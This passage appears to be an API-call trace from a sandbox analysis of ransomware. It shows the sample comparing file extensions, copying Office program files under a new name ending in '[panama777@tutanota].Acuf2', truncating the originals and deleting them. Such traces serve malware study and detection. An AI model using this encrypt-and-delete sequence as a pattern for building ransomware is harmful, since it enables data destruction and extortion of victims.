	[0264.649] lstrlenW (lpString=".pdf") returned 4
	[0264.649] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0264.649] lstrlenW (lpString=".xls") returned 4
	[0264.649] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0264.649] lstrlenW (lpString=".xlsx") returned 5
	[0264.649] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0264.649] lstrlenW (lpString=".ppt") returned 4
	[0264.649] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0264.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63
	[0264.649] lstrlenW (lpString=".zip") returned 4
	[0264.649] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0264.649] lstrlenW (lpString=".rar") returned 4
	[0264.649] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0264.649] lstrlenW (lpString=".bz2") returned 4
	[0264.649] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0264.649] lstrlenW (lpString=".7z") returned 3
	[0264.649] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0264.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63
	[0264.650] lstrlenW (lpString=".dbf") returned 4
	[0264.650] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0264.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63
	[0264.650] lstrlenW (lpString=".1cd") returned 4
	[0264.650] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0264.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63
	[0264.650] lstrlenW (lpString=".jpg") returned 4
	[0264.650] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0264.650] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=207) returned 1
	[0264.650] CloseHandle (hObject=0x328) returned 1
	[0264.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 0x20
	[0264.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.650] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.651] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.651] GetLastError () returned 0x0
	[0264.651] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xcf, lpOverlapped=0x0) returned 1
	[0264.652] WriteFile (in: hFile=0x34c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0264.653] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.653] WriteFile (in: hFile=0x34c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0264.653] SetEndOfFile (hFile=0x34c) returned 1
	[0264.653] CloseHandle (hObject=0x34c) returned 1
	[0264.653] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.653] SetEndOfFile (hFile=0x328) returned 1
	[0264.655] CloseHandle (hObject=0x328) returned 1
	[0264.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 1
	[0264.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63
	[0264.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63
	[0264.656] lstrlenW (lpString=".doc") returned 4
	[0264.656] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0264.656] lstrlenW (lpString=".docx") returned 5
	[0264.656] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0264.656] lstrlenW (lpString=".pdf") returned 4
	[0264.656] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0264.656] lstrlenW (lpString=".xls") returned 4
	[0264.656] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0264.656] lstrlenW (lpString=".xlsx") returned 5
	[0264.656] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0264.656] lstrlenW (lpString=".ppt") returned 4
	[0264.656] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0264.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63
	[0264.656] lstrlenW (lpString=".zip") returned 4
	[0264.656] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0264.656] lstrlenW (lpString=".rar") returned 4
	[0264.656] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0264.656] lstrlenW (lpString=".bz2") returned 4
	[0264.656] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0264.656] lstrlenW (lpString=".7z") returned 3
	[0264.656] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0264.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63
	[0264.657] lstrlenW (lpString=".dbf") returned 4
	[0264.657] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0264.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63
	[0264.657] lstrlenW (lpString=".1cd") returned 4
	[0264.657] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0264.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63
	[0264.657] lstrlenW (lpString=".jpg") returned 4
	[0264.657] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0264.657] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0264.657] CloseHandle (hObject=0x328) returned 1
	[0264.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 0x20
	[0264.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.657] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.658] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.658] GetLastError () returned 0x0
	[0264.658] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0264.659] WriteFile (in: hFile=0x34c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.660] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.660] WriteFile (in: hFile=0x34c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0264.660] SetEndOfFile (hFile=0x34c) returned 1
	[0264.660] CloseHandle (hObject=0x34c) returned 1
	[0264.660] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.660] SetEndOfFile (hFile=0x328) returned 1
	[0264.663] CloseHandle (hObject=0x328) returned 1
	[0264.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 1
	[0264.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65
	[0264.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65
	[0264.663] lstrlenW (lpString=".doc") returned 4
	[0264.663] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.663] lstrlenW (lpString=".docx") returned 5
	[0264.663] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.663] lstrlenW (lpString=".pdf") returned 4
	[0264.663] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.663] lstrlenW (lpString=".xls") returned 4
	[0264.664] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.664] lstrlenW (lpString=".xlsx") returned 5
	[0264.664] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.664] lstrlenW (lpString=".ppt") returned 4
	[0264.664] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65
	[0264.664] lstrlenW (lpString=".zip") returned 4
	[0264.664] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.664] lstrlenW (lpString=".rar") returned 4
	[0264.664] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.664] lstrlenW (lpString=".bz2") returned 4
	[0264.664] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.664] lstrlenW (lpString=".7z") returned 3
	[0264.664] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65
	[0264.664] lstrlenW (lpString=".dbf") returned 4
	[0264.664] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65
	[0264.664] lstrlenW (lpString=".1cd") returned 4
	[0264.664] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65
	[0264.664] lstrlenW (lpString=".jpg") returned 4
	[0264.664] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.673] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0264.673] CloseHandle (hObject=0x218) returned 1
	[0264.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 0x20
	[0264.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.673] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.673] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0264.676] GetLastError () returned 0x0
	[0264.676] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0264.677] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.678] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.678] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0264.678] SetEndOfFile (hFile=0x28c) returned 1
	[0264.678] CloseHandle (hObject=0x28c) returned 1
	[0264.678] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.678] SetEndOfFile (hFile=0x218) returned 1
	[0264.680] CloseHandle (hObject=0x218) returned 1
	[0264.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 1
	[0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65
	[0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65
	[0264.681] lstrlenW (lpString=".doc") returned 4
	[0264.681] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.681] lstrlenW (lpString=".docx") returned 5
	[0264.681] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.681] lstrlenW (lpString=".pdf") returned 4
	[0264.681] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.681] lstrlenW (lpString=".xls") returned 4
	[0264.681] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.681] lstrlenW (lpString=".xlsx") returned 5
	[0264.681] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.681] lstrlenW (lpString=".ppt") returned 4
	[0264.681] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65
	[0264.681] lstrlenW (lpString=".zip") returned 4
	[0264.681] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.681] lstrlenW (lpString=".rar") returned 4
	[0264.681] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.681] lstrlenW (lpString=".bz2") returned 4
	[0264.681] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.681] lstrlenW (lpString=".7z") returned 3
	[0264.681] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65
	[0264.681] lstrlenW (lpString=".dbf") returned 4
	[0264.682] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65
	[0264.682] lstrlenW (lpString=".1cd") returned 4
	[0264.682] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65
	[0264.682] lstrlenW (lpString=".jpg") returned 4
	[0264.682] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.682] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=11648) returned 1
	[0264.682] CloseHandle (hObject=0x218) returned 1
	[0264.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 0x20
	[0264.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.682] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.682] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0264.683] GetLastError () returned 0x0
	[0264.683] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x2d80, lpOverlapped=0x0) returned 1
	[0264.685] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x2d90, lpOverlapped=0x0) returned 1
	[0264.687] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.687] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0264.687] SetEndOfFile (hFile=0x28c) returned 1
	[0264.687] CloseHandle (hObject=0x28c) returned 1
	[0264.687] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.687] SetEndOfFile (hFile=0x218) returned 1
	[0264.689] CloseHandle (hObject=0x218) returned 1
	[0264.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 1
	[0264.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65
	[0264.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65
	[0264.690] lstrlenW (lpString=".doc") returned 4
	[0264.690] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.690] lstrlenW (lpString=".docx") returned 5
	[0264.690] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.690] lstrlenW (lpString=".pdf") returned 4
	[0264.691] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString=".xls") returned 4
	[0264.691] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString=".xlsx") returned 5
	[0264.691] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.691] lstrlenW (lpString=".ppt") returned 4
	[0264.691] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65
	[0264.691] lstrlenW (lpString=".zip") returned 4
	[0264.691] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString=".rar") returned 4
	[0264.691] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString=".bz2") returned 4
	[0264.691] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString=".7z") returned 3
	[0264.691] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65
	[0264.691] lstrlenW (lpString=".dbf") returned 4
	[0264.691] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65
	[0264.691] lstrlenW (lpString=".1cd") returned 4
	[0264.691] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65
	[0264.691] lstrlenW (lpString=".jpg") returned 4
	[0264.691] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.692] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=42352) returned 1
	[0264.692] CloseHandle (hObject=0x218) returned 1
	[0264.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 0x20
	[0264.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.692] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
